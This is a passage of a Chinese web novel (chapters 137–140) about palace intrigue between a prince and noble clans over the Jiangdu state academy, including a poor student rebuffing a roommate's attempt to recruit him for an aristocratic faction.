“冲突对立在任何时候都有,学子之间有摩擦很正常。”见王妃能够与自己想到一块去,百里漾很高兴夜很愿意与她说这些,“只要他们心里依旧不甘不愿,这种冲突矛盾就永远是不会消失的。官学设立才多少年,这日子还长着呢。我怕的是倘若真闹出了事,本该主持公道的国学若是不作为或是私心偏袒,那才是彻底坏了。” 若真是如此的话,江都国学也不能算是江都国的国学,而是世族的国学了。 卢绽等人在学堂便敢如此嚣张,难保背后没有国学的官员与他们串通一气。毕竟说到底如今的官员之中世族出身或是与之有关系的人依旧是占据了一个不小的数量,当初高皇帝没有对世族斩尽杀绝的原因其中之一就是需要这些人替他治理大衍这广袤的疆土。 这是不得已而为之,打天下与治天下是两回事,那些追随高皇帝打天下的大多是武将大老粗,你让他们攻城掠地他们可以所向披靡,但是你让他们下马拿笔写文书搞庶务,可能十个有九个都是麻爪的。没办法,那些世族之人还是要留下来一部分的。 百里漾见颜漪一直站着与他说话,她站着累自己仰着头脖子也累,拉她的手在自己身边坐下,“当初出了庶人湛之事,陛下在殿中整整大骂世族了一夜,但最后也没有完全对世族真的赶尽杀绝。” 不是不想,而是不能。天知道那时候的皇帝有多恨世族,不是不知道饶过他们这一次,他们也只是暂时消停,但凡有机会他们都会再伺机生乱。因为皇帝要做的事情是与世族的利益相违背的,世族怎么可能愿意坐以待毙- 作者有话说:今天实在是头痛,只能更这些了。这期榜单一万五。 第137章 皇子湛 定安王一直自诩太子之下他为最长, 实际上在他之前曾经还有一个二皇子百里湛,乃至论起出身,这位曾经的皇子湛也比定安王要尊贵许多。 二皇子湛的生母是清川萧氏之女, 清川萧氏放在前朝那可是鼎鼎大名,天下几乎无人不知无人不晓,谁都知道那是位于世族最顶层的存在。与其他世族一样,即便是鼎盛如清川萧氏也在前朝末期的权力倾轧以及战乱之中不可避免地走向衰败。可瘦死的骆驼比马大,即便是到了大衍立朝之后, 清川萧氏依旧是当之无愧的世族第一。 这样的世族来投, 即便是当时对取天下已经稳操胜券的高皇帝也需要慎重对待, 所以就有了后来的清川萧氏之女嫁与高皇帝长子百里纵为侧室。之后萧氏女于高皇帝立朝建元当年也就是泰始元年生下当今皇帝的次子百里湛。 说真的,就这个出生节点以及取的这个名字, 实在是很难不令人多想啊。而以后面发生的事情来看,多想的人确实是很多, 以至于太多了。 兴业三年的那场谋逆发生得突然,可同样结束的也很快。当时百里漾还年幼, 收到叛乱的消息时他待在椒房殿之中, 结果还没有慌乱多久就收到了叛乱被平定的消息。那一场由二皇子湛引发的谋逆牵连甚广, 前后一共折进去两家公府、四家侯府,伯府也有七八家被牵连进去的,宗室里也栽进去一些人,朝堂更是重新清洗了一遍。 作为罪魁祸首的二皇子湛被除去玉牒、贬为庶人,次年便病死了;其母萧贵妃也投缳自缢身亡。而大力襄助外孙上位的清川萧氏则被夷三族,从此世上再没有了清川萧氏。 据说当时事后处决谋逆之人,菜市口差不多整整一个月的时间地面的颜色一直都是红的,每天都有犯人被斩首,从断口喷流出来的鲜血染红了地面一次又一次, 即便是最后擦洗了一遍又一遍也依旧留下了一股浓重且挥之不去的味道,那里的地面从来没有那么红到发黑过。 之所以能够牵连如此之广,除了想“上进”的人确实很多之外,还有一个重要原因则是世族与勋贵以及各家之间那错综复杂的关系网,而这张密密麻麻的“网”大部分是依靠婚姻钩织起来的。世族人多,而各家总有儿女需要嫁女娶媳的。世族的招牌都几百年了,人人都想娶世族女,当时的开国勋贵之中就有不少为家中子侄聘娶世族女为妻的。 谋逆是不赦的大罪,一家只要有一个人牵扯进去,这一家都要搭进去。一个脑袋连着一串脑袋,一个月下来,光是用来砍头行刑的大刀都不知道要坏掉多少把。 那年百里漾才七岁,按理说即便是发生了那么大的事情,但因为他还太小,帝后乃至太子他们都不会让他知道太多,他也不该有多少印象。可他终究不是普通的七岁幼童,他是知道大致发生了什么的,所以也不会像真正懵懂无知的孩童一样会在许久没有见到二哥后询问身边亲近的人二哥去哪里了。 但时间真的是遗忘的利器,如今百里漾再想起曾经的那位二皇兄,已经不太记得他长什么样子了,只记得他从来都挺直的身板与翩翩的仪态风度,看起来更像是一个世族子弟。 “陛下没了一个儿子,自然恼恨。”颜漪说道。兴业三年时,她也不过八岁,对二皇子湛谋逆之事没什么印象,唯一的印象就是那段时日忙到几乎不见人影的父亲即便难得出现在家中也是满面凝重、行迹匆匆,连带着家中的气氛也比往常凝重了一些。 可现在再回看当年之事,其实不难看出爆发的根源是什么。世族辉煌强盛了几百年,到了新朝肯定还是想把这份荣耀延续下去的,可高皇帝以及皇帝并不愿意自己乃至自己之后的继任者也如同前朝般被坐大的世族处处掣肘。 世族与皇权是冲突的,二皇子湛谋逆之事只是以清川萧氏为首的世族与皇权争权的一次显化,只不过最终的结果是世族再一次输了,迎来了又一次清算打压,元气大伤从而一蹶不振了。 “陛下没了一个儿子,也还有其他儿子。”百里漾不知道自己说出这话是出于什么样的心情与想法,但可以知道的一件事是,从兴业三年之后,皇帝再也没有在人前提起过二皇子,就好似这个儿子从来没有存在过一样。 有时候百里漾不禁在想,他的皇帝阿爹是不是很早就放弃了二皇子这个儿子。 因为清川萧氏外孙的身份,皇帝恐怕难以将二皇子湛这个儿子当做一般的儿子看待。既然注定要失去,一开始就不必要投入过多的感情,为的就是日后割舍时不会那么艰难、那么痛心。 很残酷的事实,然而这却是皇帝必然会做出的选择。因为皇帝固然是父亲,但在父亲之前他先是皇帝。只要有人威胁到了百里氏的皇权,即便那个人是皇子,皇帝也不会顾念亲情而手下留情。 异地而处,百里漾觉得自己处在皇帝阿爹的位置上是做不到像他那样的。也正是因为如此,他虽然知道皇帝阿爹是真心疼爱他,却从来不会过分依靠这份疼爱,全然将之视为自己的底气。 颜漪见百里漾的神色因为出神而显得幽远,不知道他想到了什么,但能够察觉到他的心情一下子低落下去。她不想他难过下去,便将话题转回了之前江都国学的问题上来,“大王若想知道江都国学的情况,派人去查就是,若有不作为或徇私之事,处置了便是。” 整个江都如今都在百里漾的掌控之中,而问题往往都是人产生的,江都国学若真有问题那就直接处理导致问题产生的人便是。江都国学是培养江都未来官员的地方,若是这地方都坏了,那真就是从根源上就被腐蚀了。 “我也是这般想的。”百里漾笑得眉眼弯弯,言下之意就是“我俩想一块去了”,“原先想着江都前不久才有一场风雨,若是再来一场怕是受不住。现在想想,即便真的有人受不住,那也是他们自找的。” “大王想要派谁去?”颜漪垂眸,百里漾看不到她的眸色。 “你觉得何人适合?” 颜漪看向百里漾,“傅殷如何?他正是从国学出来的。” “唔,他也可。”百里漾想了一下,“那些过他手的案子都已经结了,前段时间他也确实辛苦不少,这次就给他派一个轻松点的活计。好歹他也是那些国学生的师兄前辈了,这趟回去也算是‘衣锦还乡’了。” 换成在百里漾的前世,傅殷这种就是知名校友回校看望。当然,傅殷回江都国学的效果会比校友回校对于高层官员乃至国学生带来的更加炸裂。如祭酒这样的高层官员怎么想且不提,但国学生看到傅殷会怎么想? 谁不知道傅殷如今是江都王面前的新贵红人,升官的速度几乎跟坐火箭差不多了(如果他们知道什么是火箭的话)。最重要的是他是从江都国学出来的,在此之前更只是一个出身平平的贫寒学子。可是他现在是什么地位?年纪轻轻就得到了范国相乃至大王的赏识,委以重任,如今更是身居高位。尤其是那些同样出身贫寒的国学生,谁看见他不会想着自己也许就是下一个他? 光是这么一想就足以令人心头火热了。 颜漪看了百里漾一眼,明白他是想将傅殷作为正面模板展示给国学生尤其是平民出身的国学生看,以此告诉他们忠心效力于他必不会被亏待。 百里漾也不瞒着颜漪自己的心思,“世族出身的官员我用虽用,却不敢真的完全放心他们。若是能够再多一些傅殷这样的人才就好了。” “寻常出身的国学生本就少,大王想要再找一个如傅殷那般得用的怕是有些难了。”颜漪挑眉道。 “努力找找,指不定还会有呢。”百里漾叹气,他也知道这是比较难的。难的不是找人才,而是找让自己放心可用之人。他见颜漪眉眼困倦,方才似乎还打了一个小小的呵欠,连忙不说了,“今日也累了,我们就寝吧。” 百里漾往后一躺到自己平时睡觉的位置,也给颜漪留出了位置。他摆出好宝宝睡觉的标准姿势,拍了拍身旁的空位,像是在招呼颜漪过来。 颜漪看了他一瞬,随后便躺到了他身边。百里漾伸手给他们盖上被子,两个人的体温气息很快交融在一起。暖融融的,身边带着馨香的气息熏人又怡神,不知不觉间百里漾就进入了梦乡。 今夜有人睡得着,有人却睡不着,也有人还没有睡。 江都国学监舍区,这里是江都国学之中建来给离家求学或是无力租赁城中房屋的学生入住,使得他们免去来回奔波的辛苦可以将更多的心力放在学业之上。监舍一共有三十间,每间入住两人,算起来可以住下六十人。按照规定,离家远或是家境困难的学生都已申请住到监舍之中来,但事实上只有出身平平的学子愿意住到这里来。 那些出身好、家境富裕的学子即便是千里迢迢跑到江都来求学,宁愿在郡城之中购置或租赁宅子都不愿意去监舍与那些穷酸同窗一起住。他们谁要是住进去了,绝对会被圈子里的其他人耻笑的。因此他们宁愿每日来回在住所与国学之间奔波也不愿意住进监舍里- 作者有话说:更新了,求评论[可怜] 第138章 监舍之中 从监舍建成以来, 这里居住的就一直是平民学子。但平民学子的数量实在有限,能够容纳六十人的监舍从来就没有住满过。江都国学对这群家境不富裕的学子很是优待,入住之后不仅每季度下发新的被褥等生活用品进行更换, 还提供蜡烛给学子,以便学子夜里点蜡烛看书做功课因为光线不够而伤了眼。 眼下这个时辰已经很晚了,大部分的监舍都熄了烛,屋里透不出半点光亮,里面的人已经歇息了。但也偶有几间监舍之内还有亮光透出来, 其中一间就是秦致方住的监舍。 秦致方这么晚不睡并非是在挑灯夜读或是忙做功课, 他专用的书桌上此刻零零碎碎地摆了不少东西, 笔墨、散开的竹简片、几册竹简乃至帛书,甚至还有纂刻的刻刀……这些都是他用来“抄书”的工具, 而他所做的说是“抄书”不如说是制书。 这一切还要源于江都国学典籍室借阅典籍的规矩——一切借阅出去的典籍都要原书奉还,不得有损。典籍难得, 这条规定旨在要求借阅典籍之人爱护典籍,不得损坏典籍。但典籍拿在人手上, 有时候出点意外就不小心损坏了或是其他的什么原因, 典籍就是坏了。 损坏的典籍是不能被典籍室重新收回的, 而且典籍室是不接受钱财折价赔偿的,只会要求借阅人重新抄制一份归还典籍室,还要对借阅人记一次名,挂在典籍室一楼入门显眼的位置,以作警示。若是次数多了或是性质恶劣,典籍室会报给祭酒知晓,对借阅之人做出一定的惩处。 说真的,这很丢人,也会影响自己在师长那边的印象。 借阅典籍的国学生自然不愿意落到那样的境地里, 但有些时候,借阅出去的典籍因为各种原因它就是损坏了,这就必须要想办法找补了。干脆就在约定的归还时间之前重制一份,届时还到典籍室去不久可以了么。 这确实是一个好办法,但是抄制并非是一个人人都能够做的活计,首要的是字迹要工整好看,抄制出来的成品也要美观,乃至有些是纂刻的竹简,还要用上刻刀将字一点一点刻上去,难度比用笔墨更大。若是一般的竹简或是帛书,写字好看之人便能抄制,可若是纂刻的竹简,只有会纂刻且字迹好看工整的人才能抄制了。 恰好秦致方就是这样字迹工整好看且还会篆刻之人,得益于此,他最近接了两份抄制的活,一份是竹简,据找他帮忙的同窗的说是春假期间于灶边取暖并借火光阅看不小心落入火中,烧毁了一半,请他帮忙抄制一份;一份则是帛书,上面晕开了好大一块茶渍,一看便知是茶翻了,茶水倒在上面所致。 抄制竹简的成本低,有竹简以及穿制的绳线就差不多了。帛书却是相对昂贵许多的,光是所用的帛等类的织物就不便宜,笔墨也需要用更好的,否则字一写上去就晕开了,那张帛也就毁了。 好在拜托他帮忙的人是国学之中一个家境富裕又比较好说话的同窗,秦致方对对方观感还不错,也就答应了帮忙。当然,他也不是白帮忙的,请他干活可是要支付一定的报酬的。 一封竹简用笔墨写上去再用绳线穿好即可,秦致方花了一个时辰做完。随后便是帛书的抄制,需要更加的用心,一点马虎都不能有。这还是个急单,茶水是昨夜打翻的,今日下午人才找上门,偏偏借阅的帛书明日就得归还了。 对方也知道这事有点为难人,但他也是没有办法了。帛书珍贵,这类典籍是很难从典籍室里借阅出来的。这借阅出来了却不好生保管,叫典籍室知道就不止是记名的问题了,必然会受到责罚。 情况紧急,他只能求到秦致方的头上,许以重酬,笔墨、帛书等材料他都出,哪怕秦致方做废几份都没有关系,只求在时限之前抄制出来让他好交代过去。 秦致方调了墨,用不同材质的毛笔试了几遍,最后才确定了合适的笔墨。将桌面清理出来,空白的帛书铺开,底下垫了毛毡垫,笔墨摆上,深吸一口气后轻轻吐出,然后提笔开始抄书。 可就当他渐入佳境的时候,房间的门却被一股大力猛然摔开。 突然的惊吓让秦致方吓得手一抖,紧接着一滴无比刺眼的墨渍滴在了已经写了一小半的帛书上。 显然,这张帛书是毁了。 快速计算过手底下这张帛书的价格,秦致方脸色沉了下来,抬首看向来人——他的同窗兼室友,同是乙班国学生的赵登庭。 二十六七岁的男人,唇上留着一撇不算浓密的胡须,配上他狭小的眼睛、高凸的颧骨显得塌陷鼻子,透着一点滑稽感,尤其是现在他因为醉酒而把眼睛眯起来,更显得猥琐阴鸷。一身略显黄褐色的锦袍穿在他身上配着黑黄的肤色更显老气。说真的,以他这个年纪在国学生之中算不上年轻了,尤其是他现在还待在乙班。 赵登庭入学江都国学已有五年,秦致方不是他的第一任室友,也不知道会不会是最后一任。他们之间差不多有十岁的年龄差,即便是同班又同寝,平日里说的话也不多,秦致方也很少在监舍之间看见赵登庭。一方面是因为赵登庭已然成婚,据说他在郡城之外租赁了一个小宅院用以安置自己的妻儿,时不时地去到宅院里看望妻儿或是住在那里;一方面则是赵登庭经常与那些世族出身的国学生混迹在一起,自然不怎么会回这边为贫寒学子准备的监舍。 赵登庭的一些衣物与生活用具还留在监舍里,但已经很久没有人动过了,上面布满了一股生冷的气息。在今夜之前,算上春假,赵登庭已经有将近三个月没有回过监舍了,因此秦致方才会选择在夜里抄制典籍。 哪曾想,本以为不回来的人突然回来了,还是这副模样,生生毁了他一张帛书。 “哦,是、是致方啊。”赵登庭步履有些蹒跚地走过来到桌边坐下,刚坐下就打了一个醉嗝出来,一股浑浊带着酒味的臭气顿时喷出来,他似根本没觉得自己做了什么,“你、你这么晚还没、没睡,为兄还以为、以为你早睡、睡下了。” 秦致方皱眉,一边用手大力扇走面前的臭气,一边将被墨渍毁掉的帛书收走。有这么一个醉鬼在这里,他别想继续抄制的活计,否则大概率也是写一张毁一张。但这张帛书今夜是必须抄制完成的,不过在此之前他得赶走或者让这个醉鬼安分下来。 秦致方再一次深呼吸,强忍怒气对赵登庭说道:“赵兄,你醉了。夜深冷寂,还是先洗洗睡吧。明日刘夫子开课,若是去晚或是缺勤难免不美。” 即便是睡着后的赵登庭呼噜打得震天响,秦致方也觉得总比醒着的赵登庭更好忍受。他特意强调刘夫子,是因为刘夫子是如今乙班的主讲夫子,且为人颇为严厉,很不喜欢有学生迟到早退甚至是缺勤。如今的赵登庭已经很多课不去上了,讲课夫子也不管他,但刘夫子不一样,他若是不去刘夫子的课,会有很大的麻烦。 秦致方想借一下刘夫子的威名震慑一下赵登庭,让他能够老实点去洗洗睡。可是刘夫子在今夜的赵登庭这里却失去了作用,他笑了一声,接着演变为掩面大笑,声音很是刺耳。 怒气值×2! 秦致方决定不忍了,骂他,“三更半夜的你跑回来发什么疯!你不睡,别的同窗也要睡觉。将人吵醒了,你是准备被揍一顿么?” 不知道是不是听出了秦致方话里满满的不耐烦,赵登庭身体僵了一下,笑声也戛然而止,移开掩面的手,露出一双根本没有醉的眼睛。 秦致方这才发现他大拇指上戴着一只玉扳指,成色看不分明,自己也不懂玉,但以他对赵登庭的了解,这玉扳指若是不值钱也不会套在大拇指这么显眼的位置。但怎么说呢,穿上龙袍也不像太子,这厮身上只有一股浓浓的暴发户气息,又土又俗,偏偏他还特别爱现。 以前他觉得自己倒霉怎么摊上了这么一个同窗室友,后来发现赵登庭不怎么回来,那也就还好。但现在,他觉得很不好也很不爽。因为秦致方此刻对上赵登庭的眼睛,发现这厮根本没有醉,他是大半夜跑来自己这里借酒装疯来了。 怒气值再次×2! “我还有事情要做,希望你接下来能够保持安静,不要打扰到我。”秦致方面无表情说出这句话,也是警告赵登庭,“否则我就是打你一顿,即便明日报到学监那里也是我占理。” 赵登庭神色一僵,没有想到秦致方这么不给面子,但他想到今夜过来的目的,忍下了这口气,换上一副笑脸,问道:“方才贤弟是在抄书么?” “是的,还因为你突然摔门进来害我毁了一张帛书,加上浪费的笔墨,你得陪我二百六十文。”秦致方将染了墨渍的帛书给赵登庭看,让他赔钱。本来他是没想着让赵登庭赔的,谁让这厮借酒装醉,这就不能忍了。 “你也别说我讹你,这种材质的帛书以及笔墨在市面上就是这个价。”秦致方对赵登庭的人品极其不信任,也怕他事后反过来说自己讹他,“东西都在这,你要是不服可以明日找些人来算过。”- 作者有话说:更新了,求评论[可怜] 第139章 招揽 赵登庭生生噎住了, 是被胸腔窜上来的火气堵在嗓子眼里,气得他想翻白眼但翻到一半又撤回,只能气道:“好, 不就是赔么?我赔你。二百六十文算什么,我给三百文给你,多的就算是我这个学长请你喝酒的。”他从怀里摸出三串麻绳串好的铜板用力拍在坚实的桌面上,端看那气势可真是豪横至极。 秦致方看了那三串钱一眼,又瞅了赵登庭一眼, 也没有立即说话, 伸手将铜钱扒拉到自己跟前, 开始数铜板。 这落在赵登庭眼中就是不信任他的表现,气得脸色又青又白的, 指着铜钱说道:“数,给你数, 一个子我都不会少你的。”说完,他又觉得口渴, 站起来到处找水喝, 找到了秦致方烧好的水, 猛灌了几大杯下去才缓过起来,重新做到桌前看秦致方数铜板。 秦致方就是当着赵登庭的面挨个数的,他的手速挺快,不多时就数到了二百六十个,之后就不数了,把剩下来的铜板推到赵登庭面前,“二百六十文我收下了,这是你赔我帛书和笔墨的钱。” 鬼知道赵登庭今晚发的什么疯,这要是不说清楚明日他来寻自己麻烦怎么办? “你这是何意?”赵登庭定定盯着被推到自己面前的几十个铜板好几息, 脸拉了下来,眯着眼睛看向秦致方问道。 “无功不受禄。”秦致方面无表情说道。他都要烦死赵登庭了,今夜这厮是怎么回事啊,是真喝高了回来发疯?像个苍蝇似的一直在他面前飞来飞去,“嗡嗡嗡”个没完没了。这要真是个苍蝇直接一拍子拍死算了,偏偏不是。 秦致方在心里告诉自己一定要忍耐,千万不要打他,否则闹到学监那里不好看。他强行挤出了一个假笑,“赵兄的好意我心领了,只是我并不好酒,只能辜负美意了。” 两人的目光对视,好一会儿,赵登庭才笑道:“是为兄虑事不周了,今夜真是喝多了。这请人喝酒当然是要到酒楼馆子里去,否则也太没有诚意了。”他用手敲了两下自己的脑袋,做出一副突然“醒悟”的模样,将剩下的钱收回到袖子里。 之后两人便陷入了沉默之中。 秦致方以为赵登庭发完了疯正常了,重新取出一张新的帛书,提笔蘸墨欲写,但在落笔之前他特意看了赵登庭一眼,发现这厮正在直勾勾盯着他看,那眼神不知道在想什么,看着就令人毛骨悚然。他下意识地想要手一抖,但理智控制住了他,最终他深吸一口气,放下笔,看向赵登庭,“赵兄若是没有什么事情能不能请先离开这里,抄制是一件很耗费心神的事情。” 这话几乎就等于说“你在这里碍我事了”,赵登庭不可能听不出来。 赵登庭当然听出来了,但他不打算走,今夜他特地跑回来监舍可不是纯粹为了“发酒疯”的。他扫了一眼秦致方摆在桌面上的这些抄制典籍的用具,忽然自顾自开始说道:“抄制是一件很辛苦的活计,一点的差错都不能有,一笔一划粗一点或是细一点都会被退回来。遇上故意刁难你的,他不仅不满意你抄制的典籍,还会让你负责承担退回的成本费。” 秦致方想起来赵登庭写得一手好字,似乎也会纂刻,以前确实有不少人想要找他帮忙抄制书籍来着。不过他更想说的是,既然你也知道抄制不容易,容不得一点分心马虎,那你能不能赶紧走开,那张嘴一直在这里叭叭个没完了。 似乎是看出来秦致方眼神要表达的意思,赵登庭也不在意,继续说自己的,“你这一份帛书抄制好了,报酬至多不过五十文,你还要忙活一晚上的时间,多辛苦啊。” “嗒叭”一声,笔杆撞在笔搁上的声音尤为明显。 秦致方的耐心终于告罄,他冷下脸看向似醉非醉的赵登庭,问道:“你大晚上的跑过来到底来发生什么疯?要发疯回自己家去,我没有义务在这里听你的疯言疯语。” “知道我今也去哪里了么?怡芳阁,江都郡城甚至是江都国中最大的酒楼,往那去的都是达官贵人,平日里像你这样的国学生连门都踏不进去。” 秦致方脸更冷了,直到了这一刻,今夜从进门开始就莫名其妙的赵登庭总算是“图穷匕见”了。 赵登庭则继续炫耀道:“‘满庭芳’知道吧?怡芳阁最贵最上等的席面,一桌子便要上百金,一杯酒水就顶你干十份抄制的活计了。今夜卢绽公子在怡芳阁宴请,我便在邀请之列。期间更是有妙音姑娘登台献艺,她的面可不是一般人能见到的。” 怪不得这厮身上不仅有酒味还有一股脂粉香气,混合到一起极为熏人,现在都臭了。 秦致方:“你到底想说什么?” 好歹赵登庭也勉强算是秦致方的室友,哪怕他一年都不会再监舍里住几次,但因为这层关系加上国学说大也不大,且赵登庭属于为数不多的“留级生”,多多少少算了名人,于是关于赵登庭的一些消息时不时地就传到了秦致方的耳朵里。 从入学江都国学后不久,秦致方就知道他这个年纪颇大的室友在有意讨好逢迎国学之中那些出身优渥、有家室有背景的同窗,尤其是卢绽那些人,对同样出身平平的同窗就不怎么爱搭理,倒是时不时地仗着“学长”身份对同窗们指手画脚。秦致方自己也挨过一两次,这也是他与赵登庭关系平平的原因之一。 对于赵登庭去刻意讨好卢绽那些人,秦致方并非不能理解。毕竟以赵登庭近三十的年纪却还升不上甲班,这已经预示了他可能的结局——被国学劝退。未完成学业的国学生是不可能如结业的国学生一般取得做官资格入仕的,每一个在读的国学生都不愿意自己落到那样的结局。但规定就是规定,这几年江都国学也陆续劝退过好几个学力不济的学生。 赵登庭眼瞅着自己即将成为劝退学子中的一员,他怎么能不心焦恐惧?他要想办法让自己能够顺利从江都国学结业,然后走上仕途。正常的途径是走不通了,在国学都待了五六年,他也知道自己在学业上的能力不济,只能另辟蹊径。 而他选择的蹊径就是攀附卢绽这些世族子弟。 可那些世族子弟的圈子哪里是那么容易融进去的。世族子弟天生高傲,自有优越感,大多是看不起他们这些穷酸同窗的,更有些甚至不认可他们这些卑贱出身之人是他们的同窗。那些人的嘴脸,秦致方在这国学待了两年,见的也不少了。 卢绽那些人一直对赵登庭爱搭不理的,即便偶尔理一下也更多是起了兴致逗弄的那种,看乐子的恶趣味居多,且毫不客气地说,即便卢绽那些人想要收拢人,那怎么也不能找上赵登庭这种人,什么眼光啊这是。 怡芳阁、满庭芳还有妙音姑娘……这些秦致方当然是听过的,虽然他没有去过,但国学里的同窗有时候会谈到,并伴随着“此生若是能够吃一次‘满庭芳’”或是“听一次妙音姑娘弹奏就好了”的向往之音。 所以这是卢绽他们接纳赵登庭的意思?连满庭芳的席面都请他吃了。 如果赵登庭今夜没有回来发这么一场“疯”,秦致方在明日或者之后听到卢绽请赵登庭去满庭芳都不会多想,现在,呵呵,他只有冷笑。 “你半夜跑来只是为了说这些废话的,那么请你离开,我并不想听。”秦致方知道赵登庭今夜跑回监舍的目的是什么了,感情是冲着他来的。他越说越不客气,“你的每一次呼吸,每一次说话的声音乃至你整个的存在都给我造成了困扰,你若还有点心,赶紧滚。”- 作者有话说:明天去玩,可能不更。 第140章 安排 秦致方一直知道卢绽那些人想要拉拢招揽他的, 但怎么说呢,卢绽给人的感觉就很符合他对世族子弟高傲、轻视一切的刻板印象。卢绽曾经表现过对他的赏识,但秦致方总感觉那所谓的欣赏之中充满了一种高高在上的施舍, 令人极其不舒服。所以,在那之后秦致方始终选择与那些人保持距离。可卢绽他们显然不想放弃,以至于他见到过好几个说客。 这段时间没人来了,秦致方以为卢绽那些人总算是放弃了招揽他的想法。没想到这才消停了一阵就又来了,派的还是赵登庭这样的货色。不是, 卢绽那些人是怎么想的啊, 谁给他们的错觉让他们觉得自己会被赵登庭说动的? 秦致方对赵登庭下了逐客令, 言辞很是不客气,最后更是直接让他滚蛋了。 很少有人能在被人说“滚”之后还稳得住, 有也不会是赵登庭。他想过招揽不会顺利,却没想到秦致方会这么油盐不进, 他是想翻脸的,可是不行, 毕竟他今夜是来当说客的, 他来之前还向卢绽等人打了包票一定将秦致方招揽过来。 若是不能成, 那后果……他承担不起。 赵登庭深吸一口气,看着比他年轻了许多的秦致方,不得不暂时压下心中种种翻涌的情绪,这个时候也没有必要藏着掖着了,换上了一副“苦口婆心”劝道:“卢绽他们有什么不好,只要投了过去,钱财名利唾手可得。就如今夜的满庭芳,那是想吃多少有多少,那妙音姑娘也是相见就能见。多少人梦寐以求都得不到的事情, 偏偏你避之不及。” 其实赵登庭真正想说的是“不识抬举”,人家世族公子已经三请四请了,秦致方也不掂量掂量自己是什么身份,一个劲地拿大给谁看。 最可恨的是他费了多少心思、做了多少努力才得卢绽等人高看一眼,凭什么秦致方这个乳臭未干的小子什么都没做、摆着张冷脸就能得到夫子、卢绽那些人的欣赏与看重,老天当真是不公。 “你觉得他们好,那你就去,有谁拦着你不成?至于我的事,就不劳你费心了。”秦致方说完就不再搭理赵登庭,开始收拾床铺,一副要就寝的架势。 到了这个时辰,监舍之中也没几个是醒着的。 赵登庭的脸色青白不定,他看着秦致方的背影,突然道:“秦致方,你不会以为自己能成为下一个傅殷吧?” 秦致方铺床的动作顿住,回身定定看着赵登庭,眼睛眯起,“你什么意思?” “褚氏、卢氏这些世族存在了多少年,我们才读书几年?没有任何家世、无权无势的我们怎么可能争得过抢得过他们。傅殷那样的是交了绝世的好运,可这世上有几个是能有那般运气的?” 赵登庭越说越觉得自己是对的,“你以为从国学结业出去就能顺利做官?我以前也是这么想的,后来才发现那时的我实在过于天真了。” 秦致方忍不住嘴角一抽,不是,你与其考虑之后仕途顺不顺的问题,不如先想办法怎么从江都国学结业出去而不是被劝退,连事情的先后顺序都搞不清楚。 “你若有心去了解一下就该知道往年似我等这样出身的国学生结业出去是个什么光景,有多少是只做着八、九品小官的,到三十近四十岁连个七品都升不上去,而同年的世族子弟早就升了上去,哪怕是那些能力平平的人,靠的不就是家世么。” 赵登庭见秦致方一直沉默,以为他是被自己说服了,再接再厉道:“有多少人能像傅殷那样被大王看到,更多的只是在底层挣扎而已。投靠世族有什么不好,可以享用到数不清的人脉和资源。你若不是他们的人,又想独善其身是不可能的。只有成为自己人,日后才不会受到为难,借着这股东风,我们才能登高位,仕途才会一帆风顺。” “如若不从,即便你在国学顺利结业了,那么将来步入仕途也必将步步受挫,最终泯然众人。你我走到今日皆是不易,难道你日后只甘愿做一个不入流的七、八品小官么?” 赵登庭最后的质问之后是监舍之内长长的沉寂。秦致方至此承认自己得收回之前说的“卢绽那些人找赵登庭来当说客是一个极为错误的决定”这话,有些地方确实戳中了他心中的一些点,可惜的是,道不同不相为谋,赵登庭说再多也没有用。 最后赵登庭留下一句“你好好想想吧,此事想明白了还不算迟”就离开了。监舍他是不打算留宿的,这里是江都国学提供给那些贫寒学子住宿的,他怎么能还住在这种地方。 “想明白了还不算迟……”秦致方重复了一边赵登庭离开之前说的话,最后嗤笑一声,“什么玩意净跑来耽误我的时间。明日这帛书就要交了,今夜看来得再熬会儿夜了。” 百里漾与颜漪讨论江都国学之事后的次日就将傅殷叫进王宫来,将查江都国学之事吩咐给了他。傅殷自是听说了大王与王妃微服江都国学之事,也知道昨日正好是江都国学春假后的第一日开课,心知昨日必是发生了什么不甚愉快的事情让大王发现了国学里存在的某些不妥当之处,这才将他找来做了吩咐。 傅殷记得清楚,大王是让他查江都国学之内是否存在欺凌同窗、包庇徇私的恶行恶迹。前者是针对国学生之间的,而后者却是针对国学之内的官员以及讲课师傅等人的。可实际上国学之中设立有专门官员——学监,其职权便将以上两项都包括在内了。 学监对下主张国学之内学生的纪律惩戒,对内更有监察国学诸官员的权责。可如今大王却撇开了学监将此事交由他去办,已经说明了在此事上大王对江都国学内部的不信任。况且若是单单只查这点事,何须大王亲自吩咐,恐怕其中还有更深层次的用意。 “事情若只浮在表面,大王也不会叫你去办了。”茶室里,炉上正烧着水,水逐渐烧开发出的嗡鸣声伴随着范国相的声音响起,“大王很是满意前段日子你办的那些案子,正好你又是从江都国学出来的,再合适不过了。” 正好水烧开了,范国相抬手要提壶泡茶,傅殷连忙起身接过揽下了泡茶的活计。他泡茶的手艺很是不错,不多时就将一杯泡好的茶奉到范国相面前。 白雪初霁,天空放晴,渐有金光破云层而出,光景甚是怡人。 傅殷从王宫出来之后便直奔范国相家中,被范国相邀来府上茶室品茗。清茶入口,口感温润,初时苦,细品后有回甘,确实是难得的好茶,听范国相说是地方上献湛京地贡品,天使奉命从湛京运来给大王,大王又分出一些赏给了范国相。 不过此时傅殷的心思并不在品茶上,他在想范国相说他“合适”的话。他的确是合适的,从江都国学里结业出来的他无疑是很清楚国学里面有没有“欺凌同窗、包庇徇私”此类事的,乃至他自己曾经都是被欺凌同窗中的一员。如今大王指明要查国学里的这些事,他自然是高兴的。可他不能仅仅是高兴,在其位谋其政,如今的他已经不是江都国学生了,如何看待这个问题要以他当下的位子、以大王的角度出发,这才是最稳妥的。 江都国学地位特殊,可以说从那里面出来的国学生有一大半都会步入仕途,有很多都可能会成为江都各地主政一方的官员,成为大王的臣子,傅殷自己便是这么出来的。他们在国学之中勤学苦读,学的是“忠君奉上”的忠孝之道,可真正步入仕途才知道,他们忠诚的对象到底是谁。 世族大家各有算计,各为己利,他们做很多事情最终都是为了各自家族的利益,而这些利益很多是与大王相冲突的。在“忠君奉上”与“家族利益”的选择之中,有几个世族子弟是选择前者的?前段时间震荡江都的清查贪墨之事已经给出了答案。 走到如今的位置,傅殷对如今江都的局面有了一个更加清晰的认知——以褚氏为首的那些世族大家与江都王是不站同一边的。可偏偏他们趴在江都这根“绳子”上,不想着如何如何使这根“绳子”更加牢固,而是想要拼命晃荡,最好能将整根“绳子”都晃掉。 这是绝对不能为大王所容忍的,看看之前从边境再到江都发生的一系列事情就知道了,这次大王是把目光放在了江都国学上,也是腾出手来要整治一下江都国学的问题了。 